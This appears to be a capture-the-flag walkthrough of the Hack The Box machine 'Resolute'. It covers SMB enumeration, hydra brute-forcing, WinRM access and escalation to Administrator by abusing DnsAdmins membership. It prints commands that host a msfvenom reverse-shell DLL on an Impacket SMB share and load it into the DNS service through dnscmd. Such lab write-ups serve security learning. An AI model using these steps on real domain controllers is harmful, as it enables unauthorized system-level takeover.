Abusing DNS Admin Membership by DLL Injection in “dns.exe” for PrivEsc in Active Directory
HTB - Resolute
Resolute was a medium level Windows computer that included a list of users and login discoveries for the SMB system. This password has been pulsed into the SMB login via hydra to the usernames identified. The listing of the privilege escalation led us to another member of the DnsAdmins group. Then, by violating his admin’s right to charge the DLL injection to obtain the Admin shell.
Recon
- Running nmap scan give us the following information as below.
- As windows machine, the interesting part of course the SMB services, let’s digging in via enum4linux.
- Don’t forget to list all the potential accounts in the recon part. It’s helping us to move further you know…
- Here, we have hint on
marko
account. See the description there.Password set to Welcome123!
- Trying to log into
marko
account doesn’t work. The credential may be wrong.
- We have the list of usernames right? Let’s try brute-force the smb login with
hydra
. - Yayy, we have the right credential for
melanie
account.
Exploit
- Nmap scan showed that port 5985 is open. It’s the default port for WinRM so catch the user flag by logging in via
evil-winrm
to melanie account.
- After enumerating the host, we don’t meet any hint. Maybe by viewing hidden files give us hint? Let’s
dir-Force
and enum for hidden file ofPSTranscripts
.
- In the
PSTranscripts
folder, we have a text file with Resolute name on it. Open the text file, give us hint ofPowershell
script with a potential credential ofryan
account.
- Then, moving into
ryan
account and see what we can do there.
Privilege escalation
First method:
- On
ryan
desktop, there is anote.txt
as below. What does that mean??
- Enum for the groups information reveal us that ryan has
DnsAdmins
privilege. - If the account has
DNSAdmins
in it’s group memberships, then the user belongs to the group and we can abuse his membership to escalate to Administrator rights.
- Based on this article, we are launching an arbitrary DLL of SYSTEM authority on a DNS server. i.e., we must create a DLL that contains the reverse tcp code and implant it into the
dns.exe
process on the victim’s DNS server (DC). - Building our DLL
shell_reverse_tcp
payload withmsfvenom
and output toprivesc.dll
.
Impacket’s smb server to the rescue:
- Hosting our payload with
smbserver.py
. - We chose this as, in most cases, Windows allows UNC paths and samba shares by default. Also, there are times when the victim’s AV or Defender can delete the payload if it’s uploaded, so we’ll stick to the smb server for this one. Nonetheless, working with smb can be difficult on * nix, but thankfully, we have scripts that can make the task a lot simpler. We must use the Impacket smb server to host our payload.
sudo python smbserver.py <shareName> <path/of/share> eg sudo smbserver.py share ./
Injecting the DLL in dnscmd.exe into PS:
dnscmd.exe < FQDN of DC> /config /serverlevelplugindll \\UNC_path
Listening for connection and restarting dns if necessary:
- Stop and restart the DNS service as below…
- Listen for the connection and … we have Administrator privilege.
Second method:
- Using
windows/smb/psexec_psh
module straight into Admin shell.
Thanks…